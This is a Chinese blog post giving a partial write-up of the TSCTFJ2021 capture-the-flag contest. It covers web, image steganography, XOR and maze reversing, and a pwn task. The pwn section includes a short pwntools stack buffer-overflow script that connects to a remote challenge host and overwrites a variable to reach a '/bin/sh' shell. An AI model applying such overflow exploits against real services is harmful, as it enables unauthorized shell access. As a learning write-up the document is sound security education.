TSCTFJ2021部分wp

Web

  • King of F12
    F12就可以解决的题,没什么好讲的,跟着提示一步一步走就行:

图片

 

去CHALLENGE-BUTTONKNIGHT.php,删除disabled属性:

图片

按下按钮得到下一步的提示

 

测试发现招式的长度=造成伤害。

图片

直接写入一个足够长的字符串即可得到flag:

图片

 

Misc

  • EasyImage
    拿到256x144.bmp,先用stegsolve打开看看。看一眼灰度图:

图片

可识别白色点状构成的文字:f(x,y,z) = (11x+45y+14*z)%256,一个函数,暂时不知道是干什么的。

得到位深有关的hint,尝试修改位深为24位:

图片
发现图片可以正常识别了:

放大观察可以发现规律性的散点:

图片
使用PS进行测量,可以得出散点位于每个30x30小方块的(16,16)处。使用matlab对图像进行放缩变换:

图片
尝试用最开始得到的函数对其进行变换,成功得到flag:

图片

其中matlab使用的代码如下:

clear
I = imread('pic.bmp');

for i = 1 : 144
      
  
    for j = 1 : 256
        A(i,j,1) = I(30*i-14,30*j-14,1);
        A(i,j,2) = I(30*i-14,30*j-14,2);
        A(i,j,3) = I(30*i-14,30*j-14,3);  
    end
end

imshow(A)

for i = 1 : 144
    for j = 1 : 256
     B(i,j) = mod(11*double(A(i,j,1))+45*double(A(i,j,2))+
     14*double(A(i,j,3)))    %这里不转成double会造成溢出
          
    end
end

imshow(B)
  

 

  • Gh0stSmile
    使用stegsolve查看find.png的full red图像,结合out文件夹中的图片得知这是一张拼图:

图片

拼!

图片

观察发现最下方的一行内包含了TSCTF等flag的标志性字母,根据间隔推测这是一个类似栅栏密码加密后的flag,n=6,还原可得flag:TSCTF-J{Thanks_for_watching_my_face}

Reverse

  • easyXor
    把exe文件用IDA打开,分析可以得知这是一个对输入进行和i和0xd异或的程序:

图片

找到内置的字符串:

图片

直接编写程序得出flag:

#include<stdio.h>
main(){
&nbsp;&nbsp;&nbsp;&nbsp;int i;
&nbsp;&nbsp;&nbsp;&nbsp;int s[50] = {0x59,0x5f,0x4c,0x5a,0x4f,0x25,0x41,0x71,0x52,
    0x61,0x4b,0x65,0x31,0x4d,0x66,0x5d,0x2f,0x43,0x4b,0x4d,0x5a,
    0x4c,0x5d,0x37,0x5f,0x4b,0x4f,0x26,0x63,0x4f,0x7f,0x61,0x72,
    0x7f,0x1f,0x71,0x6c,0x49,0x78,0x73,0x4,0x5,0x6,0x5b};
&nbsp;&nbsp;&nbsp;&nbsp;for(i = 0; i < 44; i++)
&nbsp;&nbsp;&nbsp;&nbsp;{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;printf("%c", s[i] ^ i ^ 0xD);
&nbsp;&nbsp;&nbsp;&nbsp;}
&nbsp;&nbsp;&nbsp;&nbsp;return 0;
}

运行结果:
图片

  • maze_revenge
    从名字上看是迷宫题,发现这个地方看起来很可疑:

图片

进去看:

图片

这应该就是迷宫了,把它整理出来,找到起点和终点:

图片

太大了,用解决迷宫问题的脚本跑一下,得出最佳路径:

图片

在代码中找到题目要求:

图片

对路径进行32位md5,转换成小写,得到flag:

TSCTF-J{5ddffb589b72f5e9b0478d433f5b49fa}

Pwn

  • Sign_In
    首先用IDA查看主函数:

图片

代码内包含system("/bin/sh"),只需控制程序流执行该语句。发现v5无法用正常方式通过if校验,尝试利用fgets进行缓冲区溢出攻击。

查看缓冲区和v5之间的距离,0x20-0x4=0x1c,在fgets限制的64以内:

图片

在Ubuntu环境下,检查程序是否开启了保护:

图片

那么可以写payload如下:

from pwn import *

#p = process('./pwn1')
p=remote("70.34.205.1",11000)

v5 = 0x00000309
payload = 'a'*0x1c + p64(v5)
p.sendline(payload)

p.interactive()

成功获取到shell以及flag:
图片

</stdio.h>

posted @ 2021-11-30 20:07  SithF  阅读(66)  评论(0)    收藏  举报